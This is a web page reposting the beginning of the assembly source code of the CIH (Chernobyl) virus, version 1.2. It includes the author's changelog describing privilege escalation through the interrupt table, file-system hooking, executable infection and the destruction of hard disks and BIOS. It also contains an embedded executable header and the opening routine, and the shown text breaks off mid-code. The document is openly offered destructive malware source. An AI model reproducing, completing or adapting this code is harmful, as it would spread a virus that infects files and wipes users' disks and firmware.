CIH v1.2源程序 - 王朝网络宽屏版

CIH病毒原代码

; ****************************************************************************

; * Designer : CIH Original Place : TT99v of Taiwan *

; * Create Date : 04/26/1998 Now Version : 1.2 *

; * Modification Time : 05/21/1998 *

; *==========================================================================*

; * Modification History *

; *==========================================================================*

; * v1.0 1. Create the Virus Program. *

; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *

; * 04/26/1998 3. Virus Code doesn't Reload into System. *

; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *

; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *

; * 6. When System Opens Existing PE File, the File will be *

; * Infected, and the File doesn't be Reinfected. *

; * 7. It is also Infected, even the File is Read-Only. *

; * 8. When the File is Infected, the Modification Date and Time *

; * of the File also don't be Changed. *

; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *

; * Previous FileSystemApiHook, it will Call the Function *

; * that the IFS Manager Would Normally Call to Implement *

; * this Particular I/O Request. *

; * 10. The Virus Size is only 656 Bytes. *

; *==========================================================================*

; * v1.1 1. Especially, the File that be Infected will not Increase *

; * it's Size... ^__^ *

; * 05/15/1998 2. Hook and Modify StrUCtured Exception Handing. *

; * When Exception Error Occurs, Our OS System should be in *

; * Windows NT. So My Cute Virus will not Continue to Run, *

; * it will Jmup to Original Application to Run. *

; * 3. Use Better Algorithm, Reduce Virus Code Size. *

; * 4. The Virus "Basic" Size is only 796 Bytes. *

; *==========================================================================*

; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... *

; * 2. Modify the Bug of v1.1 *

; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *

; ****************************************************************************

.586P

; ****************************************************************************

; * Original PE Executable File(Don't Modify this Section) *

; ****************************************************************************

OriginalAppEXE SEGMENT

FileHeader:

db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h

db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h

db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h

db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh

db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h

db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h

db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh

db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh

db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h

db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah

db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h

db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h

db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h

db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h

db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h

db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h

db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h

db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h

db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h

db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h

db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

dd 00000000h, VirusSize

OriginalAppEXE ENDS

; ****************************************************************************

; * My Virus Game *

; ****************************************************************************

; *********************************************************

; * Constant Define *

; *********************************************************

TRUE = 1

FALSE = 0

DEBUG = TRUE

MajorVirusVersion = 1

MinorVirusVersion = 2

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion

IF DEBUG

FirstKillHardDiskNumber = 81h

HookExceptionNumber = 05h

ELSE

FirstKillHardDiskNumber = 80h

HookExceptionNumber = 03h

ENDIF

FileNameBufferSize = 7fh

; *********************************************************

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame

ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************

; * Ring3 Virus Game Initial Program *

; *********************************************************

MyVirusStart:

push ebp

; *************************************

; * Let's Modify Structured Exception *

; * Handing, Prevent Exception Error *

; * Occurrence, Especially in NT. *

; *************************************

lea eax, [esp-04h*2]

xor ebx, ebx

xchg eax, fs:[ebx]

call @0

@0:

pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]

push ecx

push eax

; *************************************

; * Let's Modify *

; * IDT(Interrupt Des criptor Table) *

; * to Get Ring0 Privilege... *

; *************************************

push eax ;

sidt [esp-02h] ; Get IDT Base Address

pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ; Get Exception Base

mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHook-@1